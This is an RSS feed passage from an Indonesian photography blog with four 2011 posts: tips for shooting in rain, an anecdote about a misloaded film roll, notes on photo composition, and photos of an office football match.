<?xml version="1.0" encoding="UTF-10"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Daeng Gassing &#187; Fotografi</title>
	<atom:link href="http://daenggassing.com/category/fotografi/feed/" rel="self" type="application/rss+xml" />
	<link>http://daenggassing.com</link>
	<description></description>
	<lastBuildDate>Thu, 09 Feb 2012 06:18:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Tips Memotret Dalam Hujan</title>
		<link>http://daenggassing.com/2011/12/tips-memotret-dalam-hujan/</link>
		<comments>http://daenggassing.com/2011/12/tips-memotret-dalam-hujan/#comments</comments>
		<pubDate>Wed, 21 Dec 2011 01:12:44 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Fotografi]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[Memotret Hujan]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2171</guid>
		<description><![CDATA[Artikel berikut adalah terjemahan bebas dari artikel di National Georgaphic, laman aslinya bisa diakses di sini. Menjelang akhir tahun dan awal tahun, hujan menjadi kawan akrab untuk sebagian besar daerah di Indonesia.? Kondisi seperti ini juga kadang kala menjadi musuh besar bagi para pemotret. Masalah utama adalah karena para pemotret tentu sangat memikirkan nasib kamera [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2172" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/IMG_5056-1.jpg"><img class="size-full wp-image-2172" title="_IMG_5056-1" src="http://daenggassing.com/wp-content/uploads/2011/12/IMG_5056-1.jpg" alt="Potret Hujan" width="600" height="400" /></a><p class="wp-caption-text">Potret Hujan ( koleksi pribadi )</p></div>
<blockquote>
<h3>Artikel berikut adalah terjemahan bebas dari artikel di National Georgaphic, laman aslinya bisa diakses <a href="http://photography.nationalgeographic.com/photography/photo-tips/taking-photos-in-rain-richardson/">di sini.</a></h3>
</blockquote>
<p>Menjelang akhir tahun dan awal tahun, hujan menjadi kawan akrab untuk sebagian besar daerah di Indonesia.? Kondisi seperti ini juga kadang kala menjadi musuh besar bagi para pemotret. Masalah utama adalah karena para pemotret tentu sangat memikirkan nasib kamera mereka dan air adalah musuh terbesar.</p>
<p>Air tentu saja membuat kamera lebih cepat rusak dan selain itu membuat lensa jadi kabur dan akhirnya akan berjamur. Itu belum termasuk sulitnya menangkap gambar dalam situasi? di mana cuaca sedang mendung, agak gelap dan hanya ada jutaan tetes hujan.</p>
<p>Kebetulan saya menemukan sebuah artikel menarik di National Geographic yang ditulis oleh Jim Richardson, salah seorang fotografer senior NatGeo yang memberikan<a href="http://daenggassing.com/2011/12/tips-memotret-dalam-hujan/"> tips tentang memotret di dalam kondisi hujan</a>.</p>
<p>Berikut adalah tips dari Jim Richardson yang coba saya terjemahkan :</p>
<p style="padding-left: 30px;"><strong>Membawa pelindung hujan untuk kamera</strong>. Saat ini sudah ada jutaan pilihan pelindung hujan untuk kamera yang tersedia di pasaran. Masalah utamanya hanyalah bagaimana membawa semuanya ketika hujan mulai turun. Semua pelindung yang kira-kira bisa melindungi kamera dari hujan, petir bahkan badai sebaiknya memang dibawa setiap saat. Saran terbaik adalah memberikan tempat di tas kamera untuk keperluan tersebut.</p>
<p style="padding-left: 30px;"><strong>Membawa kantongan plastik besar untuk kamera. </strong>Kadang kala ada tugas yang mengharuskan kamera tetap kering dan kantongan plastik besar bisa sangat berguna. Masukkan kamera di dalam kantongan dan lubangi sedikit untuk lensa di bagian depan.</p>
<p style="padding-left: 30px;"><strong>Cari beranda atau tempat berteduh</strong>. Cobalah mencari tempat berteduh dan tunggulah sampai gambar yang mendatangi anda. Tenggak minuman kesukaan, bacalah buku atau lakukan apa saja. Bersabarlah.</p>
<p style="padding-left: 30px;"><strong>Memotret dari dalam mobil</strong>. Kadang-kadang cara ini adalah cara paling praktis saat terjebak dalam kondisi hujan. Tetaplah berada di dalam kendaraan, turunkan kaca sedikit dan rekamlah beberapa gambar. Jim sendiri pernah mendapatkan sebuah foto menarik dalam kondisi seperti ini, hanya saja cara yang dilakukannya agak esktrim dan tidak disarankan untuk dicoba.</p>
<p style="padding-left: 30px;"><strong>Belilah sebuah payung</strong>. ketika berada dalam cuaca hujan tapi tetap harus melakukan pemotretan, maka payung bisa menjadi sebuah pilihan. Memang akan sangat membantu bila ada seorang asisten yang bisa memayungi kita saat memotret, tapi bila memang tidak ada maka cara terbaik adalah memegang payung di tangan kiri yang juga memegang grip kamera.</p>
<p style="padding-left: 30px;"><strong>Masukkan payung sebagai elemen dalam foto anda. </strong>Sebenarnya payung yang anda bawa bisa menjadi elemen komposisi yang sangat menarik. Ketika memotret dengan lensa lebar, payung bisa mengisi bagian atas bingkai dan akan menyajikan kesan bahwa hujan benar-benar sedang turun. Ketika memotret jalanan yang penuh dengan orang yang membawa payung, memasukkan payung ke dalam bingkai tentu memberikan kesan yang sangat pas. Di sisi lain, payung juga bisa menetralisir apabila ternyata cahaya matahari terlalu terang meskipun sedang hujan. Gunakan payung untuk meminimalkan cahaya yang berlebih dan anda bisa mendapatkan eksposur yang pas.</p>
<p style="padding-left: 30px;"><strong>Perhatikan bayangan. S</strong>ebenarnya agak susah untuk mendapatkan potret hujan, kecuali anda berada di bawah hujan deras, jadi anda harus memotret sebuah petunjuk yang menandakan bahwa hujan benar-benar sedang turun. Cara terbaik adalah dengan memotret bayangan hujan atau bekas yang ditinggalkan hujan di atas bumi. ?Lihat sekeliling anda dan coba temukan bayangan hujan yang paling menarik untuk direkam.</p>
<p style="padding-left: 30px;"><strong>Tempatkan hujan pada backlight</strong>. Hujan akan terlihat lebih jelas saat berada pada posisi backlight ( membelakangi sumber cahaya ). Cahaya yang datang dari belakang hujan akan sangat terkonstrasi dan tentu saja membuat tetesan hujan lebih terlihat terang. Hanya saja perlu diperhatikan jangan sampai anda terlalu over exposure karena menghadap ke arah cahaya. ?Carilah terus angle terbaik antara low exposure dan over exposure. Payung yang anda bawa juga bisa sangat berfungsi untuk mengatur exposure.</p>
<p style="padding-left: 30px;"><strong>Tembakkan sedikit flash.</strong> Cahaya flash tentu saja bisa menambah cahaya pada tetesan hujan, hanya saja ?hal buruk bisa terjadi saat cahaya yang keluar terlalu banyak sehingga malah mengaburkan tetesan hujan. Coba set chaya flash ( sekitar -3.0 stops) . Cara ini biasanya membutuhkan banyak percobaan, kadang tidak berhasil 100% tapi hasilnya tetap menakjubkan.</p>
<p style="padding-left: 30px;"><strong>Tangkap kesedihan dan keceriaan di bawah hujan</strong>. Hujan mempengaruhi banyak orang. Kadang ada yang merasa sedih atau malah marah karena hujan tapi ada juga anak-anak yang begitu gembira bermain hujan. Tangkap dengan baik reaksi mereka dan anda akan mendapatkan foto hujan yang menarik.</p>
<p>Itulah beberapa<a href="http://daenggassing.com/2011/12/tips-memotret-dalam-hujan/"> tips dan trik</a> dari Jim Richardson yang saya terjemahkan. Saya sendiri belum mencoba semua tips dan trik di atas, tapi sepertinya memang menarik. Mumpung sekarang sedang hujan, bagaimana kalau kita coba ?</p>
<p>Mari <a href="http://daenggassing.com/2011/12/tips-memotret-dalam-hujan/">memotret</a>.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/12/tips-memotret-dalam-hujan/" title="tips memotret">tips memotret</a> (19)</li><li><a href="http://daenggassing.com/2011/12/tips-memotret-dalam-hujan/" title="trik memotret">trik memotret</a> (18)</li><li><a href="http://daenggassing.com/2011/12/tips-memotret-dalam-hujan/" title="bagaimana melindungi kamera dari hujan">bagaimana melindungi kamera dari hujan</a> (12)</li><li><a href="http://daenggassing.com/2011/12/tips-memotret-dalam-hujan/" title="motret plastik kamera">motret plastik kamera</a> (9)</li><li><a href="http://daenggassing.com/2011/12/tips-memotret-dalam-hujan/" title="cara memotret">cara memotret</a> (7)</li></ul><div class="shr-publisher-2171"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F12%2Ftips-memotret-dalam-hujan%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/12/tips-memotret-dalam-hujan/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Dipermalukan Oleh Kamera</title>
		<link>http://daenggassing.com/2011/12/dipermalukan-oleh-kamera/</link>
		<comments>http://daenggassing.com/2011/12/dipermalukan-oleh-kamera/#comments</comments>
		<pubDate>Mon, 19 Dec 2011 14:06:41 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Fotografi]]></category>
		<category><![CDATA[Kenangan]]></category>
		<category><![CDATA[fotografi]]></category>
		<category><![CDATA[Memalukan]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2161</guid>
		<description><![CDATA[Sebelum menjadi mahir, biasanya orang akan melalui masa kegagalan. Beberapa di antaranya bahkan sangat memalukan. Cerita ini terjadi sekitar 12 tahun lalu ketika masih bersama teman-teman kuliah. Waktu itu saya baru saja belajar memegang kamera SLR, tepatnya kamera analog keluaran tahun 70an. Sebuah RICOH yang saya lupa tipenya. Kamera ini sebenarnya punya teman tapi dipinjamkan [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2162" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/kamera-tua.jpg"><img class="size-full wp-image-2162" title="_kamera tua" src="http://daenggassing.com/wp-content/uploads/2011/12/kamera-tua.jpg" alt="Kamera SLR Analog" width="600" height="400" /></a><p class="wp-caption-text">Kamera SLR Analog</p></div>
<blockquote>
<h3>Sebelum menjadi mahir, biasanya orang akan melalui masa kegagalan. Beberapa di antaranya bahkan sangat memalukan.</h3>
</blockquote>
<p>Cerita ini terjadi sekitar 12 tahun lalu ketika masih bersama teman-teman kuliah. Waktu itu saya baru saja belajar memegang kamera SLR, tepatnya kamera analog keluaran tahun 70an. Sebuah RICOH yang saya lupa tipenya. Kamera ini sebenarnya punya teman tapi dipinjamkan ke saya. Dengan kamera itu pula saya mulai belajar memasang roll film, mengatur bukaan dan kecepatan rana serta mengatur komposisi dan menggulung kembali roll film untuk dicetak.</p>
<p>Suatu hari teman-teman ?sekelas membuat rencana liburan bersama ke pulau Barrang Lompo. Saat itu Barrang Lompo masih punya satu <em>cottage</em> yang menjorok ke lautan dan benar-benar nyaman untuk dipakai menginap dan menikmati lautan.</p>
<p>Maka berangkatlah kami ke sana. Total rombongan sekitar 10 orang, dan sebagai salah seorang yang mengaku bisa motret saya kebagian tugas membawa kamera. Tahun 1999 kamera belum seperti sekarang. Jangankan kamera SLR, kamera poket saja masih jarang beredar. Jadi tidak heran jika teman-teman begitu bersemangat ketika tahu saya membawa kamera SLR meski masih analog.</p>
<p>Malam sebelum keberangkatan, dengan kamera di tangan saya menggelar sedikit ceramah singkat tentang cara menggunakan kamera SLR. Maklumlah, di antara teman-teman seangkatan rasanya belum ada yang punya kamera sejenis atau minimal tahu cara menggunakannya. Dengan berapi-api saya menjelaskan bagaimana menyelaraskan antara bukaan diafragma dan kecepatan rana kepada beberapa teman yang melongo entah karena kagum atau justruk karena bosan.</p>
<p>Singkat cerita berangkatlah kami ke pulau Barrang Lompo. Sebelum berangkat saya membeli satu roll film dan ketika sang penjaga toko menawarkan diri untuk memasang roll film dengan percaya dirinya saya menolak. Toh sebelum ini saya sudah beberapa kali memasang sendiri roll film di kamera. Hari itu saya juga melakukannya sendiri tentu saja dengan penuh percaya diri.</p>
<p>Dua malam di pulau kami lewati dengan penuh riang canda. Berkumpul dengan teman-teman sealiran tentu saja merupakan hal yang paling menyenangkan. Sepanjang acara saya dengan kamera SLR pinjaman itu juga beraksi merekam keceriaan kami semua. Semua ceria dan semua yakin kalau hasil fotonya akan sangat bagus.</p>
<p>Liburan kemudian harus berakhir, di perjalanan pulang saya melirik ke kamera. Jumlah 36 sudah terlampaui tapi shutter masih bisa tertekan, mungkin bonus kutipan pikir saya. Biasanya bila memasang roll 36 dan cara pasangnya bagus maka ada bonus sekitar 4 kutipan. Saya kembali memotret. Herannya meski perasaan sudah lebih dari 4 kali menekan shutter tapi roll-nya masih bisa diputar. Saya mulai merasa ada yang aneh, hingga akhirnya memutuskan untuk memutar kembali roll film seperti prosedur semestinya setiap habis memotret.</p>
<p>Keesokan harinya saya dengan penuh rasa penasaran saya membawa roll film itu tukang cuci cetak. Rasanya tidak sabar ingin melihat sendiri hasil kutipan saya yang merekam keceriaan selama dua hari di pulau itu. Roll film saya tinggal dan saya janji untuk kembali beberapa jam kemudian.</p>
<p>Ketika saya kembali untuk menjemput hasil cetak foto, kenyataan pahit terpampang di depan mata. Sial !! Rupanya saya salah memasang roll film. Roll film yang seharusnya tertarik rupanya meleset dan sama sekali tidak tertarik ke dalam ruang rekam. Jadi, selama dua hari di pulau sama sekali tidak ada foto yang terekam. Itu jawaban kenapa saya masih tetap bisa mengokang kamera meski penunjuk angkanya sudah lebih dari 36 bahkan 40 kutipan. Roll film yang saya bawa ke tukang cuci masih bersih seperti roll film yang baru karena memang sama sekali tidak terpakai. Lembaran-lembaran negatif film yang dicetak benar-benar kosong, sama sekali tidak bergambar.</p>
<p>Saya langsung lemas ketika itu juga. Terbayang wajah teman-teman yang begitu mengharapkan hadirnya foto-foto indah hasil liburan kami. Terbayang rasa malu yang harus saya tanggung, apalagi karena malam sebelum keberangkatan saya dengan semangatnya memberikan ceramah singkat tentang fotografi. Doh !!</p>
<p>Saya butuh waktu beberapa hari sebelum benar-benar berani ke kampus dan menemui teman-teman yang sudah tidak sabar menunggu hasil jepretan saya. Benar saja, ketika tahu kejadian sebenarnya spontan saya jadi bahan ledekan teman-teman semua, termasuk gaya saya ketika memberikan ceramah soal bukaan diafragma dan kecepatan rana. Benar-benar momen yang memalukan. Saya butuh waktu lama sebelum bisa kembali percaya diri di depan mereka.</p>
<p>Hari ini saya bisa mengenang kejadian itu sebagai kejadian yang lucu dan memalukan. Sekaligus sebagai sebuah pelajaran bahwa sebuah keberhasilan biasanya memang dimulai dengan kegagalan. Semua butuh proses belajar. Ah, saya merindukan teman-teman saya itu. Jika bisa berkumpul lagi dengan mereka saya akan memotret mereka sepuas-puasnya, sebagai ganti momen yang hilang dulu.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/12/dipermalukan-oleh-kamera/" title="tips fotografi dengan analog slr">tips fotografi dengan analog slr</a> (2)</li><li><a href="http://daenggassing.com/2011/12/dipermalukan-oleh-kamera/" title="cara pasang roll film">cara pasang roll film</a> (2)</li><li><a href="http://daenggassing.com/2011/12/dipermalukan-oleh-kamera/" title="cara tahu roll film telah penuh">cara tahu roll film telah penuh</a> (2)</li><li><a href="http://daenggassing.com/2011/12/dipermalukan-oleh-kamera/" title="rol film kamera analog">rol film kamera analog</a> (2)</li><li><a href="http://daenggassing.com/2011/12/dipermalukan-oleh-kamera/" title="NYUCI roll film sendiri">NYUCI roll film sendiri</a> (2)</li></ul><div class="shr-publisher-2161"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F12%2Fdipermalukan-oleh-kamera%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/12/dipermalukan-oleh-kamera/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Komposisi Dalam Fotografi</title>
		<link>http://daenggassing.com/2011/12/komposisi-dalam-fotografi/</link>
		<comments>http://daenggassing.com/2011/12/komposisi-dalam-fotografi/#comments</comments>
		<pubDate>Wed, 07 Dec 2011 04:01:09 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Fotografi]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[fotografi]]></category>
		<category><![CDATA[Komposisi]]></category>
		<category><![CDATA[Rule Of Third]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2126</guid>
		<description><![CDATA[Komposisi itu sangat fleksibel, apa yang kita anggap bagus belum tentu dianggap bagus oleh orang lain ; Arbain Rambey Salah satu acara televisi yang paling saya sukai adalah Klik Arbain Rambey, acara yang ditayangkan di staasiun televisi Kompas TV setiap Selasa jam 23:30 ini berisi banyak pelajaran penting soal fotografi yang dibawakan seorang fotografer senior [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2127" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/IMG_4659.jpg"><img class="size-full wp-image-2127" title="IMG_4659" src="http://daenggassing.com/wp-content/uploads/2011/12/IMG_4659.jpg" alt="" width="600" height="399" /></a><p class="wp-caption-text">Fotografer</p></div>
<blockquote>
<h3>Komposisi itu sangat fleksibel, apa yang kita anggap bagus belum tentu dianggap bagus oleh orang lain ; Arbain Rambey</h3>
</blockquote>
<p>Salah satu acara televisi yang paling saya sukai adalah Klik Arbain Rambey, acara yang ditayangkan di staasiun televisi Kompas TV setiap Selasa jam 23:30 ini berisi banyak pelajaran penting soal fotografi yang dibawakan seorang fotografer senior Indonesia, Arbain Rambey.</p>
<p>Saya suka cara Arbain Rambey membagikan ilmunya. Dia bukan tipe orang yang menjelaskan dengan penuh penjelasan teknis yang <em>njlimet</em>. Semua diterangkannya dengan kalimat-kalimat sederhana dan bahkan sering menggunakan kalimat &#8220;terserah anda&#8221;. Bagi fotografer pemula atau yang baru mau mencemplungkan diri dalam dunia fotografi, segala macam keterangan berbau teknis dengan bahasa yang membingungkan bisa saja membuat mereka mundur teratur dan lantas menganggap fotografi itu ternyata susah. Tapi tidak dengan cara yang diberikan oleh Arbain Rambey.</p>
<p>Itulah salah satu alasan kenapa saya selalu berusaha bisa mengikuti acara Klik Arbain Rambey.</p>
<p>Episode Selasa (6/12) semalam membahas tentang <a href="http://daenggassing.com/2011/12/komposisi-dalam-fotografi/">komposisi</a> dalam fotografi. Menurut Arbain Rambey, komposisi adalah hal utama yang dinilai dalam sebuah karya foto karena komposisilah yang pertamakali dilihat oleh mata.</p>
<p>Dalam fotografi ada 4 unsur yang menjadi bagian utama yaitu ;</p>
<ol>
<li><strong>Teknis :</strong> menyangkut masalah jenis kamera yang digunakan, bukaan diafragma, kecepatan bukaan, pemilihan white balance dan sebagainya.</li>
<li><strong>Komposisi ;</strong> penempatan objek dalam foto yang menghasilkan sebuah foto yang tidak biasa.</li>
<li><strong>Posisi ;</strong> yaitu menyangkut posisi pengambilan foto apakah diambil dengan berdiri, jongkok, di atas pohon atau apa saja.</li>
<li><strong>Momen ;</strong> foto yang baik adalah foto yang diambil dalam momen yang tepat. Bila memotret pemandangan misalnya, tentu diperlukan momen yang tepat untuk merekam keindahan pemandangan yang kita inginkan.</li>
</ol>
<p>Nah, dari keempat unsur itu, komposisi adalah unsur yang paling fleksibel dan nyaris tidak ada aturan yang mengikat karena semua kemudian kembali kepada rasa si pemotret.</p>
<p>Meski dianggap fleksibel, tapi ada aturan umum yang dipegang para fotografer yaitu <strong><em>rule of third</em></strong> atau aturan pembagian bidang menjadi 3 bagian. Biasanya yang dijadikan acuan adalah garis cakrawala, di mana kita menentukan sendiri di bagian mana garis cakrawala itu akan ditempatkan. Apakah di sepertiga bagian bawah atau di sepertiga bagian atas.</p>
<div id="attachment_2128" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/rule-of-third.jpg"><img class="size-full wp-image-2128" title="rule of third" src="http://daenggassing.com/wp-content/uploads/2011/12/rule-of-third.jpg" alt="" width="600" height="399" /></a><p class="wp-caption-text">Ilustrasi rule of third</p></div>
<p>Aturan itu kemudian dibawa ke pemotretan lainnya meski bukan pemotretan landscape atau pemandangan. Misalnya bila memotret manusia, maka terlebih dahulu secara maya kita tentukan bagian mana yang akan mejadi cakrawala atau garis pembatas imajiner dari objek yang akan kita foto. Setelah itu baru kita tempatkan objek tersebut pada salah satu bagian dari <em>rule of third</em> entah yang berposisi portrait ataupun landscape.</p>
<p><a href="http://daenggassing.com/2011/12/komposisi-dalam-fotografi/">Komposisi</a> sendiri terbagi atas 3 bagian :</p>
<ol>
<li><strong>Komposisi 1/3</strong> ; adalah komposisi paling umum digunakan di mana rumus rule of third dipakai untuk menempatkan objek utama di sepertiga frame.</li>
<li><strong>Komposisi simetris</strong> ; adalah komposisi yang menempatkan objek utama di tengah frame. Biasanya digunakan untuk merekam gambar formal semisal foto KTP.</li>
<li><strong>Komposisi abstrak</strong> ; adalah komposisi yang tidak termasuk komposisi 1/3 atau komposisi simetris. Komposisi ini memang sangat relatif dan sama sekali tidak mengikuti teori komposisi.</li>
</ol>
<p>Masih menurut Arbain Rambey, komposisi itu memang tidak bisa dipelajari dalam waktu singkat. Kemampuan menemukan dan menentukan komposisi yang baik didapat dari pengalaman. Semakin banyak kita memotret maka rasa untuk mendapatkan komposisi yang baik tentu akan makin terasah. Dalam belajar <a href="http://daenggassing.com/2011/12/komposisi-dalam-fotografi/">komposisi</a> fotografer memang harus sering-sering mencoba komposisi baru yang mungkin tidak sesuai dengan teori-teori dasar fotografi. Sebagai tambahan, komposisi sangat relatif. Apa yang menurut kita sudah bagus belum tentu menurut orang lain bagus.</p>
<p>Di akhir pemaparannya, Arbain Rambey menegaskan kalau fotografi itu adalah sebuah proses belajar panjang. Bukan sebuah proses instant dengan kamera mahal.</p>
<p>Jadi buat anda yang hobi memotret, mari terus belajar, mari terus memotret sampai bisa menemukan hal-hal baru yang menarik dari fotografi. Selamat memotret.</p>
<p><em>Catatan : tulisan ini saya buat bukan dengan maksud mengajar atau menggurui. Semata-mata hanya karena ingin berbagi karena sesungguhnya sayapun masih dalam tahap belajar.</em></p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/12/komposisi-dalam-fotografi/" title="klik arbain rambey">klik arbain rambey</a> (15)</li><li><a href="http://daenggassing.com/2011/12/komposisi-dalam-fotografi/" title="komposisi fotografi">komposisi fotografi</a> (11)</li><li><a href="http://daenggassing.com/2011/12/komposisi-dalam-fotografi/" title="komposisi dalam fotografi">komposisi dalam fotografi</a> (11)</li><li><a href="http://daenggassing.com/2011/12/komposisi-dalam-fotografi/" title="komposisi">komposisi</a> (8)</li><li><a href="http://daenggassing.com/2011/12/komposisi-dalam-fotografi/" title="klik arbain">klik arbain</a> (6)</li></ul><div class="shr-publisher-2126"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F12%2Fkomposisi-dalam-fotografi%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/12/komposisi-dalam-fotografi/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>[Foto] Perjuangan Di Lapangan Hijau</title>
		<link>http://daenggassing.com/2011/10/foto-perjuangan-di-lapangan-hijau/</link>
		<comments>http://daenggassing.com/2011/10/foto-perjuangan-di-lapangan-hijau/#comments</comments>
		<pubDate>Fri, 07 Oct 2011 07:27:49 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Fotografi]]></category>
		<category><![CDATA[Canon]]></category>
		<category><![CDATA[fotografi]]></category>
		<category><![CDATA[Sepakbola]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1947</guid>
		<description><![CDATA[Sepakbola bukan sekadar permainan Sepakbola adalah olahraga dengan jumlah penggemar terbanyak di muka bumi. Setiap ajang berskala internasional pasti mampu menyedot perhatian besar penduduk Bumi. Puncaknya adalah pada ajang Piala Dunia. Seluruh dunia tiba-tiba seperti terkena demam sepakbola, bahkan mereka yang tak suka sepakbolapun seperti terpaksa tersedot dalam pusaran demam sepakbola. Selasa kemarin saya diminta [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1948" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/10/CONVAR40-6.jpg"><img class="size-full wp-image-1948" title="_CONVAR40-6" src="http://daenggassing.com/wp-content/uploads/2011/10/CONVAR40-6.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Tarian di Lapangan</p></div>
<blockquote>
<h3>Sepakbola bukan sekadar permainan</h3>
</blockquote>
<p>Sepakbola adalah olahraga dengan jumlah penggemar terbanyak di muka bumi. Setiap ajang berskala internasional pasti mampu menyedot perhatian besar penduduk Bumi. Puncaknya adalah pada ajang Piala Dunia. Seluruh dunia tiba-tiba seperti terkena demam sepakbola, bahkan mereka yang tak suka sepakbolapun seperti terpaksa tersedot dalam pusaran demam sepakbola.</p>
<p>Selasa kemarin saya diminta teman-teman mendokumentasikan pertandingan final sepakbola dalam grup kantor kami. Ini bukan pertamakalinya saya duduk di pinggir lapangan dan memotret pertandingan, tapi tetap saja saya belum bisa memotret dengan baik.</p>
<p>Bukan pekerjaan gampang untuk mengabadikan pertandingan. Banyak faktor yang harus dipikirkan, di antaranya adalah faktor <em>gear</em> atau senjata. Lensa panjang tentu jadi pilihan utama mengingat jarak antar fotografer dan pemain bola yang kadang memang jauh.</p>
<p>Faktor lainnya adalah ?insting. Saya pernah membaca bahwa dalam memotret sebuah pertandingan di lapangan hijau, insting berperan sangat dominan. Bagaimana kita memilih lokasi yang tepat dan menangkap momen yang tepat, semua tergantung pada insting kita.</p>
<p>Tentu masih banyak faktor lain yang jadi perhatian dalam memotret perjuangan di lapangan hijau, dan sampai sekarang saya masih terus belajar untuk bisa memotret pertandingan sepakbola lebih baik lagi. Saya ingat dulu pernah bercita-cita menjadi fotografer olahraga, khususnya sepakbola. Kelihatannya sangat mengasyikkan karena bisa berada di pinggir lapangan hijau dan hanya berjarak beberapa meter dari superstar lapangan hijau. Plus, tak perlu membeli tiket.</p>
<p>Tapi, ternyata tidak segampang itu. Berada di pinggir lapangan sebagai fotografer membuat kita harus terus membuka mata dan menganalisa pertandingan untuk mendapatkan momen terbaik. Belum lagi keharusan memicingkan mata di lubang intip kamera hampir sepanjang pertandingan. Jadinya malah tidak bisa menikmati pertandingan 100%.</p>
<p>Okeh, berikut saya mau coba pamerkan beberapa foto yang berhasil saya tangkap di pertandingan kemarin. Dari ratusan foto yang saya tangkap, setidaknya hanya 7 ini yang saya anggap bagus. Selebihnya biasa saja kalau tidak mau dibilang jelek.</p>
<p>Teman-teman, saya tunggu tanggapannya.</p>
<div id="attachment_1949" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/10/CONVAR86-7.jpg"><img class="size-full wp-image-1949" title="_CONVAR86-7" src="http://daenggassing.com/wp-content/uploads/2011/10/CONVAR86-7.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Sang hakim garis</p></div>
<p>&nbsp;</p>
<div id="attachment_1950" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/10/CONVAR172-1.jpg"><img class="size-full wp-image-1950" title="_CONVAR172-1" src="http://daenggassing.com/wp-content/uploads/2011/10/CONVAR172-1.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Tekel keras</p></div>
<p>&nbsp;</p>
<div id="attachment_1951" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/10/CONVAR238-2.jpg"><img class="size-full wp-image-1951" title="_CONVAR238-2" src="http://daenggassing.com/wp-content/uploads/2011/10/CONVAR238-2.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Mengejar Bola</p></div>
<p>&nbsp;</p>
<div id="attachment_1952" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/10/CONVAR250-3.jpg"><img class="size-full wp-image-1952" title="_CONVAR250-3" src="http://daenggassing.com/wp-content/uploads/2011/10/CONVAR250-3.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Berjibaku</p></div>
<p>&nbsp;</p>
<div id="attachment_1953" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/10/CONVAR262-4.jpg"><img class="size-full wp-image-1953" title="_CONVAR262-4" src="http://daenggassing.com/wp-content/uploads/2011/10/CONVAR262-4.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Menunggu serangan tiba</p></div>
<p>&nbsp;</p>
